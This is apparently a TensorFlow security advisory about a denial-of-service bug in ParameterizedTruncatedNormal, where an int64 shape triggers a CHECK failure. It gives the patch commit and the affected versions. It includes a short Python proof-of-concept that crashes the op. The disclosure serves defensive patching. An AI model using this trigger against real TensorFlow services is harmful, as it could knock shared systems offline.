TensorFlow vulnerable to `CHECK` fail in `ParameterizedTruncatedNormal`
Impact
ParameterizedTruncatedNormal assumes shape is of type int32. A valid shape of type int64 results in a mismatched type CHECK fail that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
seed = 1618
seed2 = 0
shape = tf.random.uniform(shape=[3], minval=-10000, maxval=10000, dtype=tf.int64, seed=4894)
means = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
stdevs = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
minvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
maxvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
tf.raw_ops.ParameterizedTruncatedNormal(shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals, seed=seed, seed2=seed2)

Patches
We have patched the issue in GitHub commit [72180be03447a10810edca700cbc9af690dfeb51](https://github.com/tensorflow/tensorflow/commit/72180be03447a10810edca700cbc9af690dfeb51).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
